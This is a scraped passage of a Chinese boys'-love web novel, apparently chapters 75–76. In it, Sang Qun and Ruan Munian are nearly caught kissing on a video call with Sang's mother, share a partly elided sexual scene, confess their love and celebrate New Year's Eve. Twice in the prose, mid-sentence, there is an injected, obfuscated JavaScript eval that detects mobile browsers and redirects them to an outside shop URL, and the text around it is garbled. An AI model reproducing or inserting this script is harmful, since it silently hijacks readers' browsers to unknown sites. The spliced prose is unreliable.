吹吹卷被人抽走的瞬间,桑群扬起脖子,扣着阮牧年后颈吻在他唇上。 阮牧年呆住,唇缝就被人舔开,钻进来亲。 没亲两下,桑群就退开,叹气道:“脖子好酸……明明是你压着我,不知道低头吗。” 阮牧年依然呆呆地看着他,好像傻掉了。 桑群伸出手指戳了戳那张柔软的脸蛋:“怎么了?” “你……你这样笑好好看啊,”阮牧年呢喃开口,“有点坏坏的笑,跟小时候捉弄我成功时候的样子很像。” “嗯?”桑群摸了摸自己的脸,“我刚刚笑了?” 阮牧年点头。 “我小时候哪里有捉弄过你。”桑群不信,自己明明是最宠年年的人。 “有的,刚认识的时候,”阮牧年却说,“那时候我只是你的小跟班,你搞恶作剧就喜欢这样笑,嘴角有点斜,眼睛眯起来……” 桑群想不起来了:“你被捉弄还有心情观察坏蛋的表情?” “嗯,因为你的捉弄只是捉弄,跟其他人不一样,”阮牧年凑近他,“勇士大人,我可以亲你吗?” 桑群笑了:“为什么还要多问一句?” “因为要做有礼貌的好人,好人生来就是要吃掉坏蛋的,”阮牧年跟他碰了碰鼻尖,“我开动啦。” 什么啊,原句是这样的吗?没来得及思考更多,阮牧年的吻已经落下来,桑群垂下眉睫去回应他,散乱的思绪全被抛到脑后。 客厅里一时只剩下细细的嘬水声,两个人纠缠得难舍难分。 视频通话响起的时候,阮牧年正被桑群咬着舌头,他本想反客为主,结果被突如其来的铃声吓得咬到了自己的舌头,一个猛颤,又磕到了牙齿,抽着气坐直身子。 桑群也被他磕到,手背捂在唇上,皱眉看着他。 阮牧年吐着舌头看了眼手机:“呜……是、是阿姨打来的……” “你怎么样?”桑群坐起来,掰过他的下巴查看,“要不先挂掉,待会儿再给她回过去。” “没事,”阮牧年含了含舌头,“我接了啊。” 电话一接通,屏幕上就跳出桑母的脸:“这么久才接,我还以为你们睡了呢。” “我刚刚在给桑群拍视频,”阮牧年笑着说,“正准备剪完了发给您呢,阿姨。” “是吗?那我可要好好期待了。”桑母一向很捧阮牧年的场。 “阿姨你看,这是我给桑群做的马蹄糕,”阮牧年将镜头转向,拍桌上的“生日蛋糕”,“等您出院那天,我也做一点带过去给你尝尝。” “嚯,这个好,”桑母眼睛一亮,“我们年年的手艺还是一如既往的高超,真贴心呐。” “那当然。”仗着镜头暂时照不到,桑群靠到阮牧年肩上,被后者摇着头推开。 “所以你们刚才是不是正吃着呢?”镜头翻转回来,桑母笑着问,“两个小馋猫,口水都没擦干净呢。” 闻言,两个人后背俱是一僵。 “……有吗,”桑群最先反应过来,若无其事地抹了把下巴,还真有点黏黏的东西,“你看错了。” “又长一岁,怎么嘴更硬了。” “别光说我们,”桑群回击,“你也馋得口水都快下来了。” “哟?敢造谣你妈,臭小子果然翅膀硬了哈。” “早就会飞了。”桑群维持着平常的表情说。 桑母问:“年年呢?怎么从镜头上消失了。” 桑群往旁边看了一眼,阮牧年趴在沙发扶手上,正满脸通红地抹脸。 他脚一动,茶几下层的一个小东西就滚到地上,发出不高不低的声响,足以令视频那边听清。 “有东西掉了,他去地上捡,”桑群面不改色地对茶几边的空气说,“手上都沾灰了,赶紧去洗。” “指使年年干活就算了,居然还敢嫌弃他,”桑母一向护短,“你今天口气很大啊?” 桑群搭在沙发上的手不着痕迹地摸到旁边,戳了戳阮牧年的屁股蛋,面上还在跟桑母贫嘴:“这不是应该的吗。” 阮牧年抖了一下,连忙起身去卫生间洗脸。 桑母不满地教训了他几句,又道:“……真稀奇,你今天居然没找我讨要礼物。” “嗯?”桑群轻挑眉梢,“你还有精力准备?” “十八岁的礼物,变成植物人了也得通过脑电波传达给外人帮忙准备吧?”桑母也挑了挑眉,“更别说我早就准备好了……放在我房间的衣柜里,最底下的黑色盒子,记得去拿啊。” 桑群皱了皱眉:“不会是女装吧?” “哦?你想穿?”桑母兴奋起来,“可以啊,等我好了……” 桑群立刻拒绝:“我不想。” “我已经开始想了。” “不,我不想。” “容不得你不想。” 桑群黑着脸就要挂电话。 “诶对了,”桑母叫住他,“待会儿年年回来了,记得问一下他今年过年怎么安排,你秀姨这两天正准备年货呢,我们家也得开始准备了。” “嗯,”桑群应下,“我这几天不在,你别把护工收买了天天熬夜。” “哪里有,这护工照顾得可比你细致多了,”桑母摆摆手,“你们小孩继续过吧,我要敷面膜去了。” 电话挂断,桑群的心情有些新奇。 是这些年很难得的放松感觉。 桑母为生计奔波多年,早已不如当年那般注重容貌,精致打扮,却是罕见地开始保养自己。 而他今日也比平常要更为放肆一些,小时候他蛮横无理、嘴欠手贱惯了,这些年早已收敛,方才却因一只吹吹卷跟阮牧年闹起来。 或许是下午那场骑行带来的改变吧,淤积于心底的许多烦闷抛诸天地,尽数被耳边掠过的疾风带走。 灌满风的衣摆下,整个人前所未有的畅快。 拿起筷子,盘子里半透明的糕点裹着果块,他偷吃了一块。 没吃过的点心,意料之内的美味,毕竟是阮大厨的手艺。 这样的生日蛋糕也十分特别。 心脏被某种酸软的情绪装得满当,甚至有些溢出,他想了半天,只能找到一个意思相近的词语,叫做幸福。 不知不觉吃掉了半盘,某个人还没回来,桑群走到厕所门口。 “年年?”他拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356352|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍门。 “怎么了?”阮牧年的声音响起来,听着很正常。 “电话挂了,”桑群又拍了拍门,“可以出来了。” 门立刻被打开,阮牧年一下子发射到他怀里,整个人非常沮丧:“怎么办啊,我刚刚差点吓死了,要是接视频之前检查一下就好了……不行不行,我们不能再这样下去了,我以后还是少亲……” 桑群一把捏住他叭叭个不停的嘴:“她没发现。” “以防万一,还是……” “哪来的万一?”桑群挑了挑右眉,“阮牧年,你想对我始乱终弃吗?” “什么?”阮牧年差点跳起来,“我没有!” “你就是不想负责,渣男。” “虽然你成年了,但我们应该还算早恋,”阮牧年揪着他的衣角说,“地下情只能遮掩起来啊,大家都是这样的。” 桑群纳闷地捏了捏他的脸蛋:“你好保守,年阿玛。” “我说的是事实。” 桑群忽然靠近他,指尖勾在他下巴尖打转。 “哦……这样,”他若有所思地点点头,鼻翼擦过阮牧年脸颊,嗓音放低,气息暧昧地吐在对方耳边,“我们应该继续兄友弟恭下去,做家人、做同桌、做组员,绝对不能让人看出猫腻来。” 阮牧年点头:“对的对的。” “那我想亲你的时候怎么办?”桑群右手轻抚上他的脸庞,翕动的唇瓣似有若无地触碰他的耳郭,“想摸你的时候怎么办?想把你这样抱住,然后在耳边说情话的时候……该怎么办?” 阮牧年被他摸得一点点后退:“我……” “总有忍不住的时候吧,”桑群护住他的后脑,阮牧年的肩背彻底靠上墙面,“或许某一天,我们像这样在墙边接吻,忽然大门被人打开——” 阮牧年红着脸推他,掌心抵在那片宽阔的胸膛上,却推不开分毫。 桑群从耳边蹭回来,轻吻在他唇角,并不深入,只是喃喃问他:“到那时候……我们要怎么办呢?” “我、我……”阮牧年说不出话来。 “你也想不出办法来,是不是?”桑群抬起拇指,指腹按在阮牧年下唇,一点点摩挲,“我们好像都无计可施啊……那就要一直这样,忧虑着那个随时可能到来的露馅,直到它降临么?” “……” “所以不能这样想,明白吗?”桑群轻轻咬了口阮牧年的鼻尖,拉长的语调轻柔温和,“这个道理还是你告诉我的,要享受当下。” “……毫不遮掩吗?” “随便演演,别太认真。” “太难了……” “有负担吗,那就别思考这个了,”桑群贴着他的嘴唇说,“顺其自然,先专注别的事情吧。” 阮牧年偏头却躲不过他:“专注……什么?” 桑群轻笑一声,没再说话,含着他的嘴唇吻下去。 早就见识过桑群的吻技,明明比他小很多,却好像一个老熟的情场高手,特别会拿捏别人的情绪和呼吸。 当下的感触愈发强烈后,阮牧年便无暇顾及什么忧虑,唇齿间沾满了另一个人的味道。 “你唔……”阮牧年在接吻的间隙说,“是不是……吃了什么……好香呜。” “吃了你做的蛋糕,”桑群垂着眼,偏头舔过对方的齿列,跟他的舌尖交缠在一起,“帮我检查一下……有没有粘牙吧。” “唔……”阮牧年仰着头,后脑一下下砸在桑群掌心里,“不会……粘的,我做得唔……很好……” “嗯,”桑群肯定他,“确实做得很好……很软。” 什么东西软啊,阮牧年晕乎乎地想,桑群说的是马蹄糕吗? (……) 阮牧年身体僵硬:“桑桑,不……” “上次拿年龄搪塞,这次可行不通了,”桑群亲了他一下,手指慢条斯理地解裤绳,“年年,好奇怪,你这里一点也不软……” (……) “不用憋着,年年,”桑群从侧边吻上阮牧年不断滚动的喉结,“想叫就叫吧,放心,只有我能听见。” 阮牧年的尾调带着鼻音:“桑桑呜……桑群……” (……) “好难受啊……桑桑,你让我出来……” “不行。” “为什么啊?”阮牧年都快哭出来了。 “你今天下午还欠我一句回答。这样吧,你说出来,我就松手,好不好?” 75. 75(有删减) 什么回答? 阮牧年努力地回想,桑群的手指实在恼人,他好半天才想起了一丝片段,似乎是桑群对他表白的时候,自己鼓起勇气说出来的嗯嗯却惹他不高兴……后面还十分粗鲁地给他喂水,喂的全部都是口水。 阮牧年气得想要踹他,脚踝一下子就被对方捉住。几次三番仍不知悔改,桑群眯起眼,掌心不轻不重地揉了一把,既让他爽,又叫他不舒服。 他顿时偃旗息鼓,缩起脚趾讨好地用小腿在桑群腰侧蹭了蹭,求饶道:“不要抓了,好难受……年年错了,桑桑、桑群哥哥、阿君羊哥哥,求求你放开我……” “阿君羊只对知错就改的好孩子心慈手软。”桑群捏起他的下巴说。 “……” 再这样下去,自己会被桑群捏坏的吧?想到那种可能性,身体忍不住瑟瑟发抖,要不算了,一句话而已,又没那么难说出口。 阮牧年红着眼睛瞪他,咬了咬牙才张口:“捉弄别人的都是坏蛋!大坏蛋桑群,最讨人厌的桑群,我喜欢你行了吧!我就是个超级无敌大笨蛋!” 没想到真能套出话来,桑群挑了挑眉,凑到他脸边:“你说什么?我没听清。” “我说对啊没错我就是喜欢你!”阮牧年骂他,“我眼睛瞎掉了才会这么喜欢你!喜欢你这个讨厌鬼呜呜……” 后面的话全被桑群吻走了,没说完就淹没在一片气急败坏的呜呜声中,根本喘不过气,只能直蹬腿。 桑群眼底暗沉,手搭在阮牧年脸侧,轻声诱哄他:“再说一遍好不好?” “你先松……” 桑群充耳不闻:“再说一遍给我听吧。” 命根子在对方手里,阮牧年忍辱负重地低喃:“我、我确实嗯,喜欢你……” 桑群却反问他:“喜欢我什么?” “没有问答题环节,”阮牧年恶狠狠地盯着他,“你快松手!” 桑群拇指用力,又问:“喜欢我什么?” 阮牧年抖了一下,整个人难受得快要炸开了:“呜我讨厌你桑群……你不讲信用……” (……) 他的话音戛然而止。见他仍不松手,绝望无力的感觉吞噬了骨髓,阮牧年活活被他气哭了,晶莹的泪珠从眼眶里滚出来,顺着眼角砸进被单,洇湿一小片布料。 桑群一愣,下意识松手,指腹上还残余被沾湿的白色痕迹,皮肤微皱。 阮牧年软下来,流着眼泪滚到一边去,侧躺抱着双腿小声哭,嘴里呢喃着:“我好像萎掉了……我要变成哑炮了……呜呜……” 什么哑炮,桑群想靠近看看他的情况,却被阮牧年带着泪花的一记眼刀定在原地。 糟了,太得意忘形,好像真把人闹坏了。桑群抿了抿唇,低声道:“年年?我错了,我不该做坏蛋的。你过来,让我看看好不好?” 阮牧年边哭边骂他:“我讨厌你,你离我远点呜呜……” “年年……” “滚开啊!” 越哭越厉害了,桑群鲜少后悔,此刻心疼得不行,恨不得剁掉自己犯贱的手。 他看着阮牧年背对他,哭得肩膀一抽一抽,终于想了个办法,学着他的姿势侧躺在对方身后,从腰边伸一只手过去。 “你、你要干嘛?”阮牧年警惕,看样子准备再滚走。 “别走,我错了,对不起,”桑群连忙抱住他,低声认错,“我不该一直逗你的。只是你平时从来不说这些话,我就想听听看……年年,原谅我吧,不要生气了,我想给你擦眼泪。” 阮牧年故意沉默了几秒,才说:“我很生气。” 不好哄!!!阮牧年在心里划重点。 “我给你赔礼,”桑群从后面递了个什么东西过来,“喏。” 还有礼物收?阮牧年伸手一接,骨节分明的样子……等等,这不就是桑群那只犯罪嫌疑手吗? “你给我这个干嘛。”阮牧年说完就要丢掉。 “它做错事了,要来赎罪,”桑群强行把手塞进他掌心里,“你可以拿着它做任何事。收下吧,它很听话的。” “……这有什么用,”阮牧年的手软趴趴的,他郁闷说,“我已经坏掉了。” (……) 小番茄的肩膀还在不受控制地发颤,好半天才缓过来,只剩粗重的喘息起伏。 桑群缩回手一看:“……好多。” 他起身去床头柜拿餐巾纸,还帮阮牧年多抽了几张:“还好吗年年?帮你擦干净。” 阮牧年还趴在那里,对自己被桑群玩哭这种事感到十分羞耻。 桑群把他翻过来,伸过去的手顿了一下:“你……” 怎么还哭了? “不哭了不哭了,”桑群连忙帮他收拾,妥帖地拉好裤子,拍了拍他的裤腰,“都收拾干净了,不哭了年年。” 阮牧年吸了吸鼻子,不好意思说自己是爽哭的,他抹了一把眼泪,翻起身就推着桑群把人往床板上扑。 桑群背靠在枕头上,仰首看他:“嗯?” “我也来帮你,桑桑。”阮牧年红着眼睛,带着鼻音说道。 桑群挑眉质疑:“你会吗?” “我现在会了!”阮牧年咬牙切齿,“我一定会好好学、以、致、用的。” “你今天才是第一次呢。” “你这么知道……不对,”阮牧年震惊,“难道你不是第一次?你你你你背着我……” “不要随便误会人啊,”桑群赶紧捏住他的嘴,“正常人都会这样子吧,做了那种梦,或者春心萌动的时候……你才纯洁得不正常呢。” “那你……”阮牧年半跪在桑群腿间,微微俯身问他,“你做那些梦的……你的梦中情人,是谁?” “不是谁。那不是任何人,只是一道虚无缥缈的影子。” 阮牧年双手捧起他的脸,犹豫地开口:“那个影子……是女孩子吗?” “它没有性别,”桑群说,“也没有长相,但我知道我喜欢它,被它触碰我会心动……” 阮牧年怔怔地看着他讲述自己年少的心悸,第一次发现原来桑群情动的模样这么……勾人心弦。 桑群靠在那里稍稍偏头,那双向来波澜不惊的眼眸微微湿润,含起的眼尾泛着薄红。 “后来我才看清它的样子,”桑群抬眼,唇边噙着浅笑,“原来我的梦中情人……是你啊,年年。” 阮牧年喉间一紧:“……是你前几天做的那场梦吗?” 桑群却摇头:“不止。” 阮牧年扶着他脸的手一点点往下:“桑桑,我想……” 桑群帮他按紧:“想摸就摸吧,别害羞。” “我……”阮牧年不知道说什么,手上也不敢乱动,最后胡乱吐出一句,“你怎么穿的牛仔裤啊。” 桑群闷笑,一条长腿支起,手肘搭在膝盖上,笑得暧昧又色|情。 “就这样摸吧,”他捉住阮牧年想抠纽扣的手,“不要拿出来。” 阮牧年一愣:“为什么?” “太脏了。”桑群低声说。 “怎么会?你也摸了我……” “不一样的,”桑群抬起食指,按在他唇上,“你可是我亲手养大的小孩,自然是最干净的。” 阮牧年急了:“你怎么能这样……” “你不是知道么,年年,”桑群仰起头,脆弱的脖颈暴露出来,“我不想弄脏你。” 他看向阮牧年的眼神自带水汽,仿佛从上到下抚摸了对方一遍,喉结随着话音轻轻滚动。 阮牧年被他看得脸红:“我……” “布料挺硬的,要不算了,”桑群调整了一下坐姿,冲他伸出手,“过来坐着吧,年年。” 阮牧年被他牵引着爬到对方身上坐下,贴得好近,也能明显地感觉到桑群正顶着他。 桑群闷哼一声,摸了摸他的脑袋:“好乖。” “那岂不是……”阮牧年垂着脑袋看他,“只有我一个人丢脸了。” “你很在意这件事吗?”桑群抱着他说,“我不觉得丢脸啊,明明很可爱。” “……你明明没有近视,为什么滤镜这么厚?”阮牧年鼓了鼓腮帮,“你还、你还那样威胁我,坏蛋。” 桑群笑了,抬手摸到他眼角:“想知道为什么吗?” “想。” “唔,大概是因为失落吧。” “失落?” “仔细想想,好像总是我在主动,”桑群微抬脸,垂着眼睫,“你从来没有亲口承认过什么,躲得很完美……或许哪天你抽身离开,也会如此干脆利落。” 阮牧年张了张嘴,没能说出话来。 “刚才你说地下情的时候,我心里就有些不爽了,”桑群说着苦笑了一声,“年年,就算是勇士,也会有没安全感的时候啊。” 阮牧年说不出心底那点酸酸涩涩的滋味是什么,他只知道向来游刃有余的桑群躺靠在这里,坚冰外壳不断软化,向他呈现出最脆弱的一面。 而这样的桑群,一如那些个数不尽的静谧夜晚里,他所注视的那个毫无防备的梦中人,都是那样的不为人知,也是那样的独一无二。 全是他想私藏的珍宝。 桑群抱着他的腰,稍稍用力往下按了按,半眯着眼长舒一口气:“也许是我给你的时间太短了,没关系,今天这样我已经很满足了,下次……” “其实我不算喜欢你。”阮牧年忽然说。 桑群唇边的笑意逐渐凝固,那双漆黑的眼眸反着琉璃般清透的光,此刻却有些褪色。 “你说……什么?”桑群几乎听不见自己的声音。 “喜欢是什么呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356353|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我好像问过你这个问题,”阮牧年坐在他身上,歪着脑袋回忆,“你说喜欢是思念一个人的感觉。我也问了程抒晴,她说她也会挂念喜欢的人。你还告诉过我,阿姨非常非常想念叔叔……可如果这就是喜欢,那我不想喜欢你。” 灯光昏暗的卧室内,被褥凌乱,相拥陷在柔软床枕间的两个人挨得极近,瞳孔里只能倒映出彼此的身影。 “桑群,你知道吗?我心里住着一只胃口很大的怪兽,”阮牧年轻声说,“如果我喜欢你,它就会变得很饿很饿,像被一群蚂蚁咬。我不想思念谁,那比孤独还要可怕。就算你不喜欢我,我也会一直缠在你身边。我不能接受的不是爱情,是离别,是比一个人还要孤单的孤单。” “所以,桑群,”阮牧年抬眼,湿漉漉的眸里起了雾,“我根本不算喜欢你,我是只能寄生在你的喜欢里的胆小鬼。” 他做不到跟桑群双向喜欢,他的渴求是无底黑洞,会把桑群的爱和耐心消耗殆尽。所以他只能寄生在桑群的喜欢里,随主而生,随主而死。 就像他曾经说的那样,如果当年桑群真的从天台上跳下去,他会给他陪葬。 胆小鬼的一生只见过这么一位勇士,如果无法抓住这束光,他也没资格跟着对方一起上天堂。 桑群沉默了很久,似乎是在消化他的话。 不安在静寂中扩散,阮牧年搭在枕头上的手指不自觉抓紧,鼻尖又有些酸,眼眶里的泪水要掉不掉。 终于,桑群抬起头,瞥见这张花猫脸,无奈地伸手替他抹去水痕。 “好长的诡辩,”桑群拇指在阮牧年眼睑划过,轻柔又细腻,“原来你喜欢做我的小寄生虫,那又为什么不肯承认自己对宿主的感情呢?” 阮牧年的眼泪总算掉下来了,温温热热的,砸在手指上很舒服。 “小麻花,喜欢从来不是非黑即白的辩题,”桑群一遍遍帮他抹掉泪水,食指湿了换中指,再湿再换,“如果害怕我厌烦你,那就更不需要担心了。好歹也是把你从小宠到大的,不会有人比你更重要。就算你和我妈同时掉进水里,我也会先去救你。” “啊?”阮牧年被他说得愣了一下,“这样不好吧……” “我不救她会被骂,救她也会被嫌弃不如她老公,”桑群说,“横竖都要被骂,我肯定去救你。” “其实我会游泳……我可以救阿姨的。”阮牧年小声说。 桑群:“你救完她赶紧回水里,我一定要救你的。” 阮牧年被他逗得破涕而笑,红鼻尖上挂着的小泪滴有些滑稽。 桑群不动声色地帮他擦掉,泪水在手里捻开一片湿漉。 “年年,你明白我的意思了么,”桑群说,“不是只有你非我不可,我也非你不可。” 对于勇士来说,小跟班也是独一无二的存在。 天堂与人间往往只有一念之遥,没有那双拼命拉住他的手,没有那对盛满眼泪却依然坚定的眼睛,阿君羊或许早已是人间过客,而不是挣扎着活到现在。 所以无需放低姿态去期许再多一点的陪伴,他们从来都是相依为命,过去如此,往后亦是如此。 阮牧年带着鼻音:“我、我需求很多……” 桑群却说:“宠爱不分多少,我乐意。” 阮牧年抿唇:“我还会一直缠着你,不想跟你分开。” 桑群哂笑:“早就习惯了,小黏糕。” “我明明只是一个胆小鬼啊,”阮牧年又哭了,“你为什么会这么喜欢我?” 实在擦不完了,桑群仰首吻去他的泪水:“这个问题我回答不出来,年年。它藏在我们认识以来这十多年的时光和感情里。” “而且,不要再贬低自己了,”桑群说,“不是要做我的寄生虫吗。” 阮牧年含着泪花摇头:“虫子……太恶心了。” “那就塑料袋吧,我的塑料袋。” “塑料袋是很难降解的,”阮牧年红着眼尾说,“桑群,缠上了就是一辈子。” 桑群笑了,压下他的脖子跟他接吻。 “那太好了,这个时间不多不少。” 阮牧年趴在他身上,这个吻黏腻又咸涩,因为桑群会替他吻掉那些泪水,味道藏在舌尖。 他沉默地泪涛汹涌,心里永远漏风的地方终于被填上,长久的安全感欠缺在拥抱中逐渐消弭,柔软的枕头上,两颗心相依着越陷越深。 桑群微微后撤开,抬手抚摸着阮牧年柔软的后发,正想说点什么哄人的情话,就听见了对方的声音。 阮牧年的鼻音前所未有的重,吐字却并不含糊,声调也十分清晰。 这一次,没有支支吾吾的掩饰,没有气急败坏的自暴自弃,也没有言不达意的迂回。 他说的直白又认真。 “桑群,年年也很喜欢你。” 76. 76 桑母出院这天,市里的年味已经十分浓重。 “哎,好吃,我以前啊最喜欢吃马蹄了,”桑母边嚼着儿子们带来的马蹄糕,边揉了揉心尖宠年年的脑袋,“还是我们年年最棒!” 桑群提着日用品的袋子,在旁边凉凉来了一句:“你上次喜欢的还是苹果。” “臭小子,我跟年年说话呢,有你什么事。” 阮牧年接过话茬:“阿姨喜欢的话,下次我再多做点呀。今年我的厨艺进步了不少呢。” “对啊,上学期都是你在做饭吧?把这小子养得嘴都硬了,”桑母笑呵呵道,“过两天阿姨再教你一道菜,今年的年夜饭有年年在,肯定比以往好吃百倍。” “都是您教的呀,应该说有阿姨在,年夜饭才能一直这么好吃。” 桑群默默翻了个白眼,无视旁边互捧得忘乎所以的两人,寻找网约车的位置。 今年舅妈家要出门旅游,阮牧年顺势提出来朋友家过年的要求。田女士起初有些不乐意,在他的坚持下还是松了口。 过年的氛围对于阮牧年来说一直都很模糊。小时候他坐在杂物间的地板上,听着门外的嬉笑怒骂、看着窗外遥远又绚烂的烟花,以为过年的滋味就是孤独。 后来他有幸在桑群家住过一个除夕夜,两个人的冷清家庭,却被桑母装饰得红红火火,邻里热闹融洽,饭桌佳肴丰盛,连无聊的电视节目都变得有趣起来,因为母子俩总会就某些奇特的点吵起来。 他又想,原来过年可以是热闹的。 但即便桑母从不把他当外人,他也无法做到理所应当地融入他们。被热闹围住的同时,心底总有一股淡淡的凄凉。 今年也许有些不一样。 部分食材需要当天买,桑母一早就跟秀姨一块坐车出门了。阮牧年第一次被委以掌勺重任,复习了很多遍烹饪笔记,在客厅里紧张地踱步,最后摸到卧室里。 桑群蹲在衣柜前,手里摆弄着什么东西。 “桑桑,”阮牧年探头过去,“你在干嘛。” 他定睛一看,那是一个通体漆黑的盒子,盒身有些掉色,划痕斑驳,上了年头。 里面放着一个半成型的躯体和一堆碎片,可能是一个机器人手办。 好眼熟,阮牧年问:“擎天柱?” “错,”桑群正在拼装机器人的手臂部件,认真地纠正他,“是勇者一号。” 阮牧年跟他一块蹲下来:“是阿姨送你的礼物吗?” “嗯,”桑群指尖一勾,扣紧了,“是我的勇者一号。” 阮牧年听懂了他的意思。 跟喜欢抱玩偶睡觉的年年不同,小桑群的喜好是各种机器人模型,他交朋友最大的诚意就是邀请对方去家里欣赏他拼装的酷帅机器人。 那时家里宽裕,桑远甚至给儿子买了一个玻璃柜台装模型和手办。 可惜变故降临,当年家里大部分置物都拿去卖钱了,玩具这种华而不实的东西首当其冲。 桑远曾经也想留住儿子的喜好,可现实的面包无法与玫瑰共存,桑群被迫跟自己的童年玩伴一一告别。 时移境迁,不知桑母用了什么方法,竟收回了当年卖出的机器人手办,还是桑群最喜欢的那一款。 每个机器人都有自己的商品名称,只有这一个,小桑群特地给它取了名字,叫做“勇者一号”。 那一年他结识了小跟班年年,真正成为了某个人的勇士。 那时他还以为,自己会成为更多人心目中的勇士,拥有勇者二号、勇者三号……一直排到比一百还多一百。 幼稚的愿望终究只是幻想,岁月荏苒,当他不复年少无畏的时候,他那炽热滚烫的初心却回到了他手里。 桑母留在盒底的便签只有一句话,不是祝福,也不是煽情。 她这样写道:“我们亲爱的小勇者,今年你战胜那条恶龙了吗?” 左手臂的关节终于扣进去,却因为用力过猛,刚装好的右手臂嘎嘣一声掉下来。 阮牧年伸手摸了摸:“这后面的关节有点损坏,装不牢固。” “嗯,”桑群面无表情地把零件捡起来,继续拼,“有一些装不上去了,只能靠胶水固定。” 恶龙有没有战胜不知道,强迫症作祟,他现在只想先战胜这该死的破烂拼装。 可怜的桑桑,阮牧年给他摸了摸脑袋。看来每个人都有自己要忙的事情,他翻出笔记,继续复习。 桑母要教阮牧年的菜品很多,个个都是能在酒席上端出来的,有的甚至要从中午就开始熬制,傍晚才能出锅。 家里最贤惠的两位进了厨房,卫生前两天也搞完了,桑群难得清闲,到处溜达。 视察一下门边的花瓶,无虫,合格。 评价一下墙上的贴花,端正,合格。 检查一下阳台的爱车,锃亮,合格。 路过厨房,门内两名大厨正就菜品烹饪方法作出重要商讨。 桑书记背着手点头,拖鞋还没过门槛,就被两人用不善的目光“请”出厨房重地,摸了摸鼻子,另寻他处巡视。 机器人早上就拼好了,有点无聊,难道真的要去写寒假作业吗? 他立刻否定了这个想法,开始回想自己以前是怎么度过这段时间的……好像是在跟阮牧年聊天。 可现在他对象被亲妈招去当帮工了。 啧。 好不容易逮到阮牧年上厕所的机会,桑群顺着门缝蹭进去,把人按在墙上亲了一口,幽幽道:“你是不是更喜欢我妈?半天都不理我。” 阮牧年被他吓了一跳:“你干嘛呀门都没关……” 桑母的声音从外面传来:“年年好了没……你俩挤厕所里干什么?” 阮牧年慌地连忙推开桑群。被扰了心情,桑群极其不爽,硬是抓着他又亲了一口才拉开门:“上厕所呢。” 桑母的眼神变得古怪:“一块儿上?” 桑群坦荡荡:“他偷看我。” 阮牧年在他身后有冤说不出:“不是,我没……” “就知道栽赃陷害,以为年年没人撑腰吗,”听他还会胡说八道,桑母只当他在开玩笑,“我看是你半路把人抓进去吓唬,年年脸都白了。” 阮牧年赶紧出来:“我洗好手了,我们继续吧阿姨。” 被男朋友和妈双双抛弃的一天,桑群躺平在床上,郁闷。 无聊的下午总算过去,时至傍晚,年夜饭接连出锅,桑群总算有了能忙的事——充当品尝菜品的小白鼠。 “怎么样?”阮牧年问。 桑群点头:“好吃。” “这个呢?”桑母又问。 桑群也点头:“美味。” “有没有什么意见呢?”阮牧年好问。 “我看他根本尝不出好坏,”桑母抱臂嘲讽,“端盆屎他也能点头跟你说绝世佳肴。” 桑群:“……” 阮牧年小声逼逼:“他不会说的……他虽有嘉肴的肴都写了错别字。” 桑群:“…………” 这个家真是一刻也待不下去了! 终于正式开饭,尽管过程艰辛,饭菜捧出来都是一等一的美味。 暖黄的灯光,热腾腾的美食,围坐在一起的家人,一双筷子抬起来,其他的也跟上,交织出不同的路线。 “这个汤啊,我和年年熬了一下午,你一滴也不许剩,知道吗?” “尝尝这个,我第一次做蒜蓉虾,入味吗?” “嗯嗯,好,知道,我在吃、在吃。” 一刻也不停,饭菜还没吃到一半,春晚节目开始了,电视里喧闹的动静和餐厅里的声音汇作一片,所谓围炉夜话,原来不过亲友在旁,彼此相伴。 据说三个人是一个家庭最理想的人数,哪怕他们各自的家庭都有不同程度的破碎,却依然奇迹般地聚在一起,组建了新的三人组合。 饮料过三巡,小孩们搬去沙发上看电视,邻居过来串门,桑母跟他们搓起麻将,聊得热火朝天。 “无聊,怎么又是这种人渣,”看完小品结局,桑群兴致缺缺地说,“去年那个还更好看。” “剧本结构挺完整的,台词也还行,”阮牧年的角度跟他不同,“可能主题上不够有意思吧,设定确实比较俗套。” 隔壁的小妹妹在跟弟弟玩捉迷藏,跑到两个大哥哥面前,甜丝丝地问:“我可以藏在你们这里吗,桑群哥哥?” 这里有什么好藏的,桑群挑眉:“随便。” 小姑娘猛地蹲下去,钻进两人腿上盖着的毯子底下。 “咦?”小女孩稚嫩又疑惑的声音从下面传 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阮牧年抿了抿唇,压低声音不好意思地说出剩下那个词:“还有……情深意笃。” 桑群靠在他肩上,闭上眼假装睡觉:“我也喜欢你。” “我没有在说这个……” 毯子底下,桑群的手重新摸到他,将特意留给他的巧克力塞过去。 阮牧年收下巧克力,跟他重新十指相扣,耳后微微发烫。 “你今晚跟我睡的话,”悠扬的古典乐声中,桑群轻声开口,“算不算过门?” 阮牧年没跟上他的思路:“什、什么?” “你收了我的聘礼啊,”桑群捏了捏他的手指,“也见过家长了,合情合理。” 合什么理啊,阮牧年看了眼手里拇指大的巧克力,就这也好意思叫聘礼? 桑群补充道:“嫌寒碜的话,可以再补的。” 阮牧年语出惊人:“我娶你回家吧。” 桑群差点从他肩膀上掉下来:“什、什么?” “我有婚房啊,”阮牧年论据充足,“新婚夫妻还跟父母同居,不合礼数。” 桑群想到他那间出租屋,无法反驳。 “我有车,去哪里住都方便,”桑群说,“我娶你。” “我是哥哥,尊长敬老,”阮牧年说,“我娶你。” 搞什么年龄霸权,桑群也霸权:“我名字笔画多,我娶你。” 